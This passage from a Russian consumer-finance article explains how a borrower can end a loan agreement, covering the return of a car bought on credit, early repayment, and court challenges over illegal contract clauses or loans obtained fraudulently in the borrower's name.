Если автосалон примет автомобиль по этой причине, возвратит деньги банку или покупателю, кредитный договор можно расторгнуть, Если этот срок прошел, возврат автомобиля возможен только по условиям гарантии производителя, что весьма трудно сделать.

Выход в продаже кредитного автомобиля, досрочном погашении долга, уплате банку процентов за время пользования деньгами. В некоторые соглашения, например ипотечные, банки включают запрет досрочного погашения долга в течение определенного времени (от одного до нескольких месяцев).

Если такой пункт в договоре есть, расторгнуть его сложнее, можно обратиться в суд.

Судебный порядок

Расторгнуть договор кредитования в суде можно в случаях нарушений требований законодательства.

  1. Например, в договор включены положения, которые противоречат №353-ФЗ «О потребительском кредитовании» или №395-1-ФЗ «О банках и банковской деятельности», иным правовым актам, регулирующим сферу кредитования. Доказать незаконность сделки сложно. В банках опытные юристы, они включают пункты договора в соответствии с действующим законодательством. Если незаконные пункты есть, суд, скорее всего, обяжет банк их исправить, а само соглашение не отменит.
  2. Если неустановленные лица по документам заемщика или их копиям получили кредит. Мошенничество с кредитами — распространенное явление. Чаще всего жертва мошенничества узнает о том, что на ее имя оформлен кредит и получены деньги, слишком поздно, уже после звонков банка и введения штрафных санкций. Суд потребует доказательства того, что гражданин в банк не ходил, договор не оформлял, деньги не получал. Если он это докажет, по причине безденежности сделку признают незаключенной (ст. 812 ч.3 ГК).

Подделку подписи доказывают почерковедческой экспертизой. По ст.820 и 432 п.1 ГК кредитная сделка действительна, если подписана сторонами. Подписание ее другим лицом означает нарушение письменной формы сделки и ее недействительность.

При рассмотрении спора в суде важно соблюдать срок давности иска (три года). В пределах этого срока неважно, когда подписан договор и получены деньги. Расторжение в суде имеет смысл, если действие соглашения обходится дорого, проценты очень высокие. На судебные дела уйдет определенное время, набегут дополнительные суммы (проценты).

Заполнить заявку на кредит наличными с возможностью рефинансирования в Альфа-БанкЗаполнить заявку на кредит в Ренессанс КредитОнлайн-заявка на кредит наличными в ХоумКредитЗаполнить заявку на потребительский кредит в Райффайзен банкВосточный Экспресс кредит под залог недвижимостиПотребительский кредит наличными в ОТП БанкСовкомбанк кредит на большую суммуОнлайн заявка на кредит в СКБ БанкЗаявка на потребительский кредит в РосбанкОтправьте заявку и получите кредит до 1 000 000 рублей в банке УБРиРЗаявка на потребительский кредит в Райффайзен банкОформить заявку онлайн на кредит на большую сумму в Совкомбанк

Рекомендованные статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock detector